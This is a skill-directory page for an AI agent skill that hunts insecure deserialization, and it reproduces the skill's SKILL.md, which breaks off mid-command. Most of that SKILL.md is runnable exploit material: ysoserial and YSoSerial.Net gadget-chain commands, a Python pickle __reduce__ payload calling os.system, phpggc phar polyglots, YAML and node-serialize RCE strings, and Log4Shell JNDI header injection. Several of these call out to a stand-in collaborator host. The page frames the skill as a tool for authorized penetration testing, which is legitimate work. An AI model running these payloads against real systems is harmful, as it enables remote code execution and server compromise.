hunt-deserialization
What it does
This skill tests for insecure deserialization across several languages and frameworks. It is for authorized security testing where apps accept serialized data from users.
When to use it
- βWhen an app uses Java, PHP, Python pickle, .NET or Ruby and accepts serialized data.
- βWhen a cookie or request body looks like a serialized object.
- βWhen you suspect a logging or framework component might trigger remote lookups.
Skill link
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-deserialization/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βThis Java app sends a serialized object cookie. Can you check it for insecure deserialization in our authorized test?β
5 new skills a week. 1 minute to read.
How it works
The agent identifies the serialization format from the data and tests known risky patterns for that language. It reports confirmed issues with proof of impact.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
HUNT-DESERIALIZATION β Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical β they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains β CommonsCollections, Spring, JNDI, Groovy gadgets β full OS command execution
- PHP Object Injection β
__wakeup/__destructmagic methods β file write / RCE - Python pickle β
pickle.loads(attacker_data)β__reduce__βos.system('id') - .NET BinaryFormatter β TypeConfuseDelegate gadget chain β RCE
- Ruby Marshal.load β Gem::Requirement, Gem::Installer gadgets β RCE
- JNDI injection β Log4Shell pattern:
${jndi:ldap://attacker/a}β class load β RCE
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Step-by-Step Hunting Methodology
Phase 1 β Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
Phase 2 β PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes β deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
Phase 3 β Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
Phase 3b β PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no
unserialize()call) β any filesystem function (file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) β pre-5.1 default-unsafe:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) β IIFE marker in any field passed tounserialize():{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 β .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
Phase 5 β Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https:/
FAQ
Why is this usually serious?
Deserialization flaws often lead directly to running commands on the server, so the skill treats them as critical.
How does it recognize Java data?
Java serialized data has a known byte signature, often seen as a base64 string starting with rO0.
Which frameworks are mentioned?
The skill mentions Apache Shiro, Log4j and similar libraries that have known deserialization issues.
Details
Original description by the author
Hunt Insecure Deserialization β Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
Popularity
- GitHub stars
- 5.4k
- Ranking position
- #14904
- License
- MIT
- Updated
- 11/2/2026
Comments
- β¦
More skills from this repository
apk-redteam-pipeline
5.4kHelps your agent test an Android app for security weaknesses, from finding the APK file and decompiling it to checking for exposed secrets.
bugcrowd-reporting
5.4kHelps your agent write better Bugcrowd vulnerability reports, choosing the right category and answering out-of-scope objections.
cloud-iam-deep
5.4kHelps your agent check what a found cloud credential can access on AWS, Azure or Google Cloud, during an authorized security test.
enterprise-vpn-attack
5.4kHelps your agent check VPN and remote-access appliances from Cisco, Fortinet, Citrix and others for known weaknesses during an authorized test.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.